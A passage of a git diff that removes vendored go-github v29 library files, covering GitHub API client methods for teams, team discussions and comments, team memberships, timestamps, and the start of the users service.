to set the "parent_team_id" -// field to "null" after copying the other fields from a NewTeam. -// It is for internal use only and should not be exported. -func copyNewTeamWithoutParent(team *NewTeam) *newTeamNoParent { - return &newTeamNoParent{ - Name: team.Name, - Description: team.Description, - Maintainers: team.Maintainers, - RepoNames: team.RepoNames, - Privacy: team.Privacy, - LDAPDN: team.LDAPDN, - } -} - -// EditTeam edits a team. -// -// GitHub API docs: https://developer.github.com/v3/teams/#edit-team -func (s *TeamsService) EditTeam(ctx context.Context, id int64, team NewTeam, removeParent bool) (*Team, *Response, error) { - u := fmt.Sprintf("teams/%v", id) - - var req *http.Request - var err error - if removeParent { - teamRemoveParent := copyNewTeamWithoutParent(&team) - req, err = s.client.NewRequest("PATCH", u, teamRemoveParent) - } else { - req, err = s.client.NewRequest("PATCH", u, team) - } - if err != nil { - return nil, nil, err - } - - t := new(Team) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// DeleteTeam deletes a team. -// -// GitHub API docs: https://developer.github.com/v3/teams/#delete-team -func (s *TeamsService) DeleteTeam(ctx context.Context, team int64) (*Response, error) { - u := fmt.Sprintf("teams/%v", team) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ListChildTeams lists child teams for a team. -// -// GitHub API docs: https://developer.github.com/v3/teams/#list-child-teams -func (s *TeamsService) ListChildTeams(ctx context.Context, teamID int64, opt *ListOptions) ([]*Team, *Response, error) { - u := fmt.Sprintf("teams/%v/teams", teamID) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var teams []*Team - resp, err := s.client.Do(ctx, req, &teams) - if err != nil { - return nil, resp, err - } - - return teams, resp, nil -} - -// ListTeamRepos lists the repositories that the specified team has access to. -// -// GitHub API docs: https://developer.github.com/v3/teams/#list-team-repos -func (s *TeamsService) ListTeamRepos(ctx context.Context, team int64, opt *ListOptions) ([]*Repository, *Response, error) { - u := fmt.Sprintf("teams/%v/repos", team) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when topics API fully launches. - headers := []string{mediaTypeTopicsPreview} - req.Header.Set("Accept", strings.Join(headers, ", ")) - - var repos []*Repository - resp, err := s.client.Do(ctx, req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, nil -} - -// IsTeamRepo checks if a team manages the specified repository. If the -// repository is managed by team, a Repository is returned which includes the -// permissions team has for that repo. -// -// GitHub API docs: https://developer.github.com/v3/teams/#check-if-a-team-manages-a-repository -func (s *TeamsService) IsTeamRepo(ctx context.Context, team int64, owner string, repo string) (*Repository, *Response, error) { - u := fmt.Sprintf("teams/%v/repos/%v/%v", team, owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - headers := []string{mediaTypeOrgPermissionRepo} - req.Header.Set("Accept", strings.Join(headers, ", ")) - - repository := new(Repository) - resp, err := s.client.Do(ctx, req, repository) - if err != nil { - return nil, resp, err - } - - return repository, resp, nil -} - -// TeamAddTeamRepoOptions specifies the optional parameters to the -// TeamsService.AddTeamRepo method. -type TeamAddTeamRepoOptions struct { - // Permission specifies the permission to grant the team on this repository. - // Possible values are: - // pull - team members can pull, but not push to or administer this repository - // push - team members can pull and push, but not administer this repository - // admin - team members can pull, push and administer this repository - // - // If not specified, the team's permission attribute will be used. - Permission string `json:"permission,omitempty"` -} - -// AddTeamRepo adds a repository to be managed by the specified team. The -// specified repository must be owned by the organization to which the team -// belongs, or a direct fork of a repository owned by the organization. -// -// GitHub API docs: https://developer.github.com/v3/teams/#add-team-repo -func (s *TeamsService) AddTeamRepo(ctx context.Context, team int64, owner string, repo string, opt *TeamAddTeamRepoOptions) (*Response, error) { - u := fmt.Sprintf("teams/%v/repos/%v/%v", team, owner, repo) - req, err := s.client.NewRequest("PUT", u, opt) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// RemoveTeamRepo removes a repository from being managed by the specified -// team. Note that this does not delete the repository, it just removes it -// from the team. -// -// GitHub API docs: https://developer.github.com/v3/teams/#remove-team-repo -func (s *TeamsService) RemoveTeamRepo(ctx context.Context, team int64, owner string, repo string) (*Response, error) { - u := fmt.Sprintf("teams/%v/repos/%v/%v", team, owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ListUserTeams lists a user's teams -// GitHub API docs: https://developer.github.com/v3/teams/#list-user-teams -func (s *TeamsService) ListUserTeams(ctx context.Context, opt *ListOptions) ([]*Team, *Response, error) { - u := "user/teams" - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var teams []*Team - resp, err := s.client.Do(ctx, req, &teams) - if err != nil { - return nil, resp, err - } - - return teams, resp, nil -} - -// ListTeamProjects lists the organization projects for a team. -// -// GitHub API docs: https://developer.github.com/v3/teams/#list-team-projects -func (s *TeamsService) ListTeamProjects(ctx context.Context, teamID int64) ([]*Project, *Response, error) { - u := fmt.Sprintf("teams/%v/projects", teamID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeProjectsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var projects []*Project - resp, err := s.client.Do(ctx, req, &projects) - if err != nil { - return nil, resp, err - } - - return projects, resp, nil -} - -// ReviewTeamProjects checks whether a team has read, write, or admin -// permissions for an organization project. -// -// GitHub API docs: https://developer.github.com/v3/teams/#review-a-team-project -func (s *TeamsService) ReviewTeamProjects(ctx context.Context, teamID, projectID int64) (*Project, *Response, error) { - u := fmt.Sprintf("teams/%v/projects/%v", teamID, projectID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeProjectsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - projects := &Project{} - resp, err := s.client.Do(ctx, req, &projects) - if err != nil { - return nil, resp, err - } - - return projects, resp, nil -} - -// TeamProjectOptions specifies the optional parameters to the -// TeamsService.AddTeamProject method. -type TeamProjectOptions struct { - // Permission specifies the permission to grant to the team for this project. - // Possible values are: - // "read" - team members can read, but not write to or administer this project. - // "write" - team members can read and write, but not administer this project. - // "admin" - team members can read, write and administer this project. - // - Permission *string `json:"permission,omitempty"` -} - -// AddTeamProject adds an organization project to a team. To add a project to a team or -// update the team's permission on a project, the authenticated user must have admin -// permissions for the project. -// -// GitHub API docs: https://developer.github.com/v3/teams/#add-or-update-team-project -func (s *TeamsService) AddTeamProject(ctx context.Context, teamID, projectID int64, opt *TeamProjectOptions) (*Response, error) { - u := fmt.Sprintf("teams/%v/projects/%v", teamID, projectID) - req, err := s.client.NewRequest("PUT", u, opt) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeProjectsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - return s.client.Do(ctx, req, nil) -} - -// RemoveTeamProject removes an organization project from a team. An organization owner or -// a team maintainer can remove any project from the team. To remove a project from a team -// as an organization member, the authenticated user must have "read" access to both the team -// and project, or "admin" access to the team or project. -// Note: This endpoint removes the project from the team, but does not delete it. -// -// GitHub API docs: https://developer.github.com/v3/teams/#remove-team-project -func (s *TeamsService) RemoveTeamProject(ctx context.Context, teamID int64, projectID int64) (*Response, error) { - u := fmt.Sprintf("teams/%v/projects/%v", teamID, projectID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeProjectsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - return s.client.Do(ctx, req, nil) -} - -// IDPGroupList represents a list of external identity provider (IDP) groups. -type IDPGroupList struct { - Groups []*IDPGroup `json:"groups,omitempty"` -} - -// IDPGroup represents an external identity provider (IDP) group. -type IDPGroup struct { - GroupID *string `json:"group_id,omitempty"` - GroupName *string `json:"group_name,omitempty"` - GroupDescription *string `json:"group_description,omitempty"` -} - -// ListIDPGroupsInOrganization lists IDP groups available in an organization. -// -// GitHub API docs: https://developer.github.com/v3/teams/team_sync/#list-idp-groups-in-an-organization -func (s *TeamsService) ListIDPGroupsInOrganization(ctx context.Context, org string, opt *ListOptions) (*IDPGroupList, *Response, error) { - u := fmt.Sprintf("orgs/%v/team-sync/groups", org) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - groups := new(IDPGroupList) - resp, err := s.client.Do(ctx, req, groups) - if err != nil { - return nil, resp, err - } - return groups, resp, nil -} - -// ListIDPGroupsForTeam lists IDP groups connected to a team on GitHub. -// -// GitHub API docs: https://developer.github.com/v3/teams/team_sync/#list-idp-groups-for-a-team -func (s *TeamsService) ListIDPGroupsForTeam(ctx context.Context, teamID string) (*IDPGroupList, *Response, error) { - u := fmt.Sprintf("teams/%v/team-sync/group-mappings", teamID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - groups := new(IDPGroupList) - resp, err := s.client.Do(ctx, req, groups) - if err != nil { - return nil, resp, err - } - return groups, resp, err -} - -// CreateOrUpdateIDPGroupConnections creates, updates, or removes a connection between a team -// and an IDP group. -// -// GitHub API docs: https://developer.github.com/v3/teams/team_sync/#create-or-update-idp-group-connections -func (s *TeamsService) CreateOrUpdateIDPGroupConnections(ctx context.Context, teamID string, opt IDPGroupList) (*IDPGroupList, *Response, error) { - u := fmt.Sprintf("teams/%v/team-sync/group-mappings", teamID) - - req, err := s.client.NewRequest("PATCH", u, opt) - if err != nil { - return nil, nil, err - } - - groups := new(IDPGroupList) - resp, err := s.client.Do(ctx, req, groups) - if err != nil { - return nil, resp, err - } - - return groups, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/teams_discussion_comments.go b/vendor/github.com/google/go-github/v29/github/teams_discussion_comments.go deleted file mode 100644 index ff871f22be..0000000000 --- a/vendor/github.com/google/go-github/v29/github/teams_discussion_comments.go +++ /dev/null @@ -1,140 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// DiscussionComment represents a GitHub dicussion in a team. -type DiscussionComment struct { - Author *User `json:"author,omitempty"` - Body *string `json:"body,omitempty"` - BodyHTML *string `json:"body_html,omitempty"` - BodyVersion *string `json:"body_version,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - LastEditedAt *Timestamp `json:"last_edited_at,omitempty"` - DiscussionURL *string `json:"discussion_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Number *int `json:"number,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - URL *string `json:"url,omitempty"` - Reactions *Reactions `json:"reactions,omitempty"` -} - -func (c DiscussionComment) String() string { - return Stringify(c) -} - -// DiscussionCommentListOptions specifies optional parameters to the -// TeamServices.ListComments method. -type DiscussionCommentListOptions struct { - // Sorts the discussion comments by the date they were created. - // Accepted values are asc and desc. Default is desc. - Direction string `url:"direction,omitempty"` -} - -// ListComments lists all comments on a team discussion. -// Authenticated user must grant read:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#list-comments -func (s *TeamsService) ListComments(ctx context.Context, teamID int64, discussionNumber int, options *DiscussionCommentListOptions) ([]*DiscussionComment, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v/comments", teamID, discussionNumber) - u, err := addOptions(u, options) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var comments []*DiscussionComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// GetComment gets a specific comment on a team discussion. -// Authenticated user must grant read:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#get-a-single-comment -func (s *TeamsService) GetComment(ctx context.Context, teamID int64, discussionNumber, commentNumber int) (*DiscussionComment, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v/comments/%v", teamID, discussionNumber, commentNumber) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - discussionComment := &DiscussionComment{} - resp, err := s.client.Do(ctx, req, discussionComment) - if err != nil { - return nil, resp, err - } - - return discussionComment, resp, nil -} - -// CreateComment creates a new discussion post on a team discussion. -// Authenticated user must grant write:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#create-a-comment -func (s *TeamsService) CreateComment(ctx context.Context, teamID int64, discsusionNumber int, comment DiscussionComment) (*DiscussionComment, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v/comments", teamID, discsusionNumber) - req, err := s.client.NewRequest("POST", u, comment) - if err != nil { - return nil, nil, err - } - - discussionComment := &DiscussionComment{} - resp, err := s.client.Do(ctx, req, discussionComment) - if err != nil { - return nil, resp, err - } - - return discussionComment, resp, nil -} - -// EditComment edits the body text of a discussion comment. -// Authenticated user must grant write:discussion scope. -// User is allowed to edit body of a comment only. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#edit-a-comment -func (s *TeamsService) EditComment(ctx context.Context, teamID int64, discussionNumber, commentNumber int, comment DiscussionComment) (*DiscussionComment, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v/comments/%v", teamID, discussionNumber, commentNumber) - req, err := s.client.NewRequest("PATCH", u, comment) - if err != nil { - return nil, nil, err - } - - discussionComment := &DiscussionComment{} - resp, err := s.client.Do(ctx, req, discussionComment) - if err != nil { - return nil, resp, err - } - - return discussionComment, resp, nil -} - -// DeleteComment deletes a comment on a team discussion. -// Authenticated user must grant write:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#delete-a-comment -func (s *TeamsService) DeleteComment(ctx context.Context, teamID int64, discussionNumber, commentNumber int) (*Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v/comments/%v", teamID, discussionNumber, commentNumber) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/teams_discussions.go b/vendor/github.com/google/go-github/v29/github/teams_discussions.go deleted file mode 100644 index 433d01595a..0000000000 --- a/vendor/github.com/google/go-github/v29/github/teams_discussions.go +++ /dev/null @@ -1,145 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// TeamDiscussion represents a GitHub dicussion in a team. -type TeamDiscussion struct { - Author *User `json:"author,omitempty"` - Body *string `json:"body,omitempty"` - BodyHTML *string `json:"body_html,omitempty"` - BodyVersion *string `json:"body_version,omitempty"` - CommentsCount *int `json:"comments_count,omitempty"` - CommentsURL *string `json:"comments_url,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - LastEditedAt *Timestamp `json:"last_edited_at,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Number *int `json:"number,omitempty"` - Pinned *bool `json:"pinned,omitempty"` - Private *bool `json:"private,omitempty"` - TeamURL *string `json:"team_url,omitempty"` - Title *string `json:"title,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - URL *string `json:"url,omitempty"` - Reactions *Reactions `json:"reactions,omitempty"` -} - -func (d TeamDiscussion) String() string { - return Stringify(d) -} - -// DiscussionListOptions specifies optional parameters to the -// TeamServices.ListDiscussions method. -type DiscussionListOptions struct { - // Sorts the discussion by the date they were created. - // Accepted values are asc and desc. Default is desc. - Direction string `url:"direction,omitempty"` -} - -// ListDiscussions lists all discussions on team's page. -// Authenticated user must grant read:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#list-discussions -func (s *TeamsService) ListDiscussions(ctx context.Context, teamID int64, options *DiscussionListOptions) ([]*TeamDiscussion, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions", teamID) - u, err := addOptions(u, options) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var teamDiscussions []*TeamDiscussion - resp, err := s.client.Do(ctx, req, &teamDiscussions) - if err != nil { - return nil, resp, err - } - - return teamDiscussions, resp, nil -} - -// GetDiscussion gets a specific discussion on a team's page. -// Authenticated user must grant read:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#get-a-single-discussion -func (s *TeamsService) GetDiscussion(ctx context.Context, teamID int64, discussionNumber int) (*TeamDiscussion, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v", teamID, discussionNumber) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - teamDiscussion := &TeamDiscussion{} - resp, err := s.client.Do(ctx, req, teamDiscussion) - if err != nil { - return nil, resp, err - } - - return teamDiscussion, resp, nil -} - -// CreateDiscussion creates a new discussion post on a team's page. -// Authenticated user must grant write:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#create-a-discussion -func (s *TeamsService) CreateDiscussion(ctx context.Context, teamID int64, discussion TeamDiscussion) (*TeamDiscussion, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions", teamID) - req, err := s.client.NewRequest("POST", u, discussion) - if err != nil { - return nil, nil, err - } - - teamDiscussion := &TeamDiscussion{} - resp, err := s.client.Do(ctx, req, teamDiscussion) - if err != nil { - return nil, resp, err - } - - return teamDiscussion, resp, nil -} - -// EditDiscussion edits the title and body text of a discussion post. -// Authenticated user must grant write:discussion scope. -// User is allowed to change Title and Body of a discussion only. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#edit-a-discussion -func (s *TeamsService) EditDiscussion(ctx context.Context, teamID int64, discussionNumber int, discussion TeamDiscussion) (*TeamDiscussion, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v", teamID, discussionNumber) - req, err := s.client.NewRequest("PATCH", u, discussion) - if err != nil { - return nil, nil, err - } - - teamDiscussion := &TeamDiscussion{} - resp, err := s.client.Do(ctx, req, teamDiscussion) - if err != nil { - return nil, resp, err - } - - return teamDiscussion, resp, nil -} - -// DeleteDiscussion deletes a discussion from team's page. -// Authenticated user must grant write:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#delete-a-discussion -func (s *TeamsService) DeleteDiscussion(ctx context.Context, teamID int64, discussionNumber int) (*Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v", teamID, discussionNumber) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/teams_members.go b/vendor/github.com/google/go-github/v29/github/teams_members.go deleted file mode 100644 index 2a211fe907..0000000000 --- a/vendor/github.com/google/go-github/v29/github/teams_members.go +++ /dev/null @@ -1,170 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// TeamListTeamMembersOptions specifies the optional parameters to the -// TeamsService.ListTeamMembers method. -type TeamListTeamMembersOptions struct { - // Role filters members returned by their role in the team. Possible - // values are "all", "member", "maintainer". Default is "all". - Role string `url:"role,omitempty"` - - ListOptions -} - -// ListTeamMembers lists all of the users who are members of the specified -// team. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#list-team-members -func (s *TeamsService) ListTeamMembers(ctx context.Context, team int64, opt *TeamListTeamMembersOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("teams/%v/members", team) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var members []*User - resp, err := s.client.Do(ctx, req, &members) - if err != nil { - return nil, resp, err - } - - return members, resp, nil -} - -// IsTeamMember checks if a user is a member of the specified team. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#get-team-member -// -// Deprecated: This API has been marked as deprecated in the Github API docs, -// TeamsService.GetTeamMembership method should be used instead. -func (s *TeamsService) IsTeamMember(ctx context.Context, team int64, user string) (bool, *Response, error) { - u := fmt.Sprintf("teams/%v/members/%v", team, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - member, err := parseBoolResponse(err) - return member, resp, err -} - -// GetTeamMembership returns the membership status for a user in a team. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#get-team-membership -func (s *TeamsService) GetTeamMembership(ctx context.Context, team int64, user string) (*Membership, *Response, error) { - u := fmt.Sprintf("teams/%v/memberships/%v", team, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - t := new(Membership) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// TeamAddTeamMembershipOptions specifies the optional -// parameters to the TeamsService.AddTeamMembership method. -type TeamAddTeamMembershipOptions struct { - // Role specifies the role the user should have in the team. Possible - // values are: - // member - a normal member of the team - // maintainer - a team maintainer. Able to add/remove other team - // members, promote other team members to team - // maintainer, and edit the team’s name and description - // - // Default value is "member". - Role string `json:"role,omitempty"` -} - -// AddTeamMembership adds or invites a user to a team. -// -// In order to add a membership between a user and a team, the authenticated -// user must have 'admin' permissions to the team or be an owner of the -// organization that the team is associated with. -// -// If the user is already a part of the team's organization (meaning they're on -// at least one other team in the organization), this endpoint will add the -// user to the team. -// -// If the user is completely unaffiliated with the team's organization (meaning -// they're on none of the organization's teams), this endpoint will send an -// invitation to the user via email. This newly-created membership will be in -// the "pending" state until the user accepts the invitation, at which point -// the membership will transition to the "active" state and the user will be -// added as a member of the team. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#add-or-update-team-membership -func (s *TeamsService) AddTeamMembership(ctx context.Context, team int64, user string, opt *TeamAddTeamMembershipOptions) (*Membership, *Response, error) { - u := fmt.Sprintf("teams/%v/memberships/%v", team, user) - req, err := s.client.NewRequest("PUT", u, opt) - if err != nil { - return nil, nil, err - } - - t := new(Membership) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// RemoveTeamMembership removes a user from a team. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#remove-team-membership -func (s *TeamsService) RemoveTeamMembership(ctx context.Context, team int64, user string) (*Response, error) { - u := fmt.Sprintf("teams/%v/memberships/%v", team, user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ListPendingTeamInvitations get pending invitaion list in team. -// Warning: The API may change without advance notice during the preview period. -// Preview features are not supported for production use. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#list-pending-team-invitations -func (s *TeamsService) ListPendingTeamInvitations(ctx context.Context, team int64, opt *ListOptions) ([]*Invitation, *Response, error) { - u := fmt.Sprintf("teams/%v/invitations", team) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var pendingInvitations []*Invitation - resp, err := s.client.Do(ctx, req, &pendingInvitations) - if err != nil { - return nil, resp, err - } - - return pendingInvitations, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/timestamp.go b/vendor/github.com/google/go-github/v29/github/timestamp.go deleted file mode 100644 index 90929d5757..0000000000 --- a/vendor/github.com/google/go-github/v29/github/timestamp.go +++ /dev/null @@ -1,41 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "strconv" - "time" -) - -// Timestamp represents a time that can be unmarshalled from a JSON string -// formatted as either an RFC3339 or Unix timestamp. This is necessary for some -// fields since the GitHub API is inconsistent in how it represents times. All -// exported methods of time.Time can be called on Timestamp. -type Timestamp struct { - time.Time -} - -func (t Timestamp) String() string { - return t.Time.String() -} - -// UnmarshalJSON implements the json.Unmarshaler interface. -// Time is expected in RFC3339 or Unix format. -func (t *Timestamp) UnmarshalJSON(data []byte) (err error) { - str := string(data) - i, err := strconv.ParseInt(str, 10, 64) - if err == nil { - t.Time = time.Unix(i, 0) - } else { - t.Time, err = time.Parse(`"`+time.RFC3339+`"`, str) - } - return -} - -// Equal reports whether t and u are equal based on time.Equal -func (t Timestamp) Equal(u Timestamp) bool { - return t.Time.Equal(u.Time) -} diff --git a/vendor/github.com/google/go-github/v29/github/users.go b/vendor/github.com/google/go-github/v29/github/users.go deleted file mode 100644 index 88a15bdb76..0000000000 --- a/vendor/github.com/google/go-github/v29/github/users.go +++ /dev/null @@ -1,275 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// UsersService handles communication with the user related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/users/ -type UsersService service - -// User represents a GitHub user. -type User struct { - Login *string `json:"login,omitempty"` - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - AvatarURL *string `json:"avatar_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - GravatarID *string `json:"gravatar_id,omitempty"` - Name *string `json:"name,omitempty"` - Company *string `json:"company,omitempty"` - Blog *string `json:"blog,omitempty"` - Location *string `json:"location,omitempty"` - Email *string `json:"email,omitempty"` - Hireable *bool `json:"hireable,omitempty"` - Bio *string `json:"bio,omitempty"` - PublicRepos *int `json:"public_repos,omitempty"` - PublicGists *int `json:"public_gists,omitempty"` - Followers *int `json:"followers,omitempty"` - Following *int `json:"following,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - SuspendedAt *Timestamp `json:"suspended_at,omitempty"` - Type *string `json:"type,omitempty"` - SiteAdmin *bool `json:"site_admin,omitempty"` - TotalPrivateRepos *int `json:"total_private_repos,omitempty"` - OwnedPrivateRepos *int `json:"owned_private_repos,omitempty"` - PrivateGists *int `json:"private_gists,omitempty"` - DiskUsage *int `json:"disk_usage,omitempty"` - Collaborators *int `json:"collaborators,omitempty"` - TwoFactorAuthentication *bool `json:"two_factor_authentication,omitempty"` - Plan *Plan `json:"plan,omitempty"` - LdapDn *string `json:"ldap_dn,omitempty"` - - // API URLs - URL *string `json:"url,omitempty"` - EventsURL *string `json:"events_url,omitempty"` - FollowingURL *string `json:"following_url,omitempty"` - FollowersURL *string `json:"followers_url,omitempty"` - GistsURL *string `json:"gists_url,omitempty"` - OrganizationsURL *string `json:"organizations_url,omitempty"` - ReceivedEventsURL *string `json:"received_events_url,omitempty"` - ReposURL *string `json:"repos_url,omitempty"` - StarredURL *string `json:"starred_url,omitempty"` - SubscriptionsURL *string `json:"subscriptions_url,omitempty"` - - // TextMatches is only populated from search results that request text matches - // See: search.go and https://developer.github.com/v3/search/#text-match-metadata - TextMatches []TextMatch `json:"text_matches,omitempty"` - - // Permissions identifies the permissions that a user has on a given - // repository. This is only populated when calling Repositories.ListCollaborators. - Permissions *map[string]bool `json:"permissions,omitempty"` -} - -func (u User) String() string { - return Stringify(u) -} - -// Get fetches a user. Passing the empty string will fetch the authenticated -// user. -// -// GitHub API docs: https://developer.github.com/v3/users/#get-a-single-user -// and: https://developer.github.com/v3/users/#get-the-authenticated-user -func (s *UsersService) Get(ctx context.Context, user string) (*User, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v", user) - } else { - u = "user" - } - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - uResp := new(User) - resp, err := s.client.Do(ctx, req, uResp) - if err != nil { - return nil, resp, err - } - - return uResp, resp, nil -} - -// GetByID fetches a user. -// -// Note: GetByID uses the undocumented GitHub API endpoint /user/:id. -func (s *UsersService) GetByID(ctx context.Context, id int64) (*User, *Response, error) { - u := fmt.Sprintf("user/%d", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - user := new(User) - resp, err := s.client.Do(ctx, req, user) - if err != nil { - return nil, resp, err - } - - return user, resp, nil -} - -// Edit the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/#update-the-authenticated-user -func (s *UsersService) Edit(ctx context.Context, user *User) (*User, *Response, error) { - u := "user" - req, err := s.client.NewRequest("PATCH", u, user) - if err != nil { - return nil, nil, err - } - - uResp := new(User) - resp, err := s.client.Do(ctx, req, uResp) - if err != nil { - return nil, resp, err - } - - return uResp, resp, nil -} - -// HovercardOptions specifies optional parameters to the UsersService.GetHovercard -// method. -type HovercardOptions struct { - // SubjectType specifies the additional information to be received about the hovercard. - // Possible values are: organization, repository, issue, pull_request. (Required when using subject_id.) - SubjectType string `url:"subject_type"` - - // SubjectID specifies the ID for the SubjectType. (Required when using subject_type.) - SubjectID string `url:"subject_id"` -} - -// Hovercard represents hovercard information about a user. -type Hovercard struct { - Contexts []*UserContext `json:"contexts,omitempty"` -} - -// UserContext represents the contextual information about user. -type 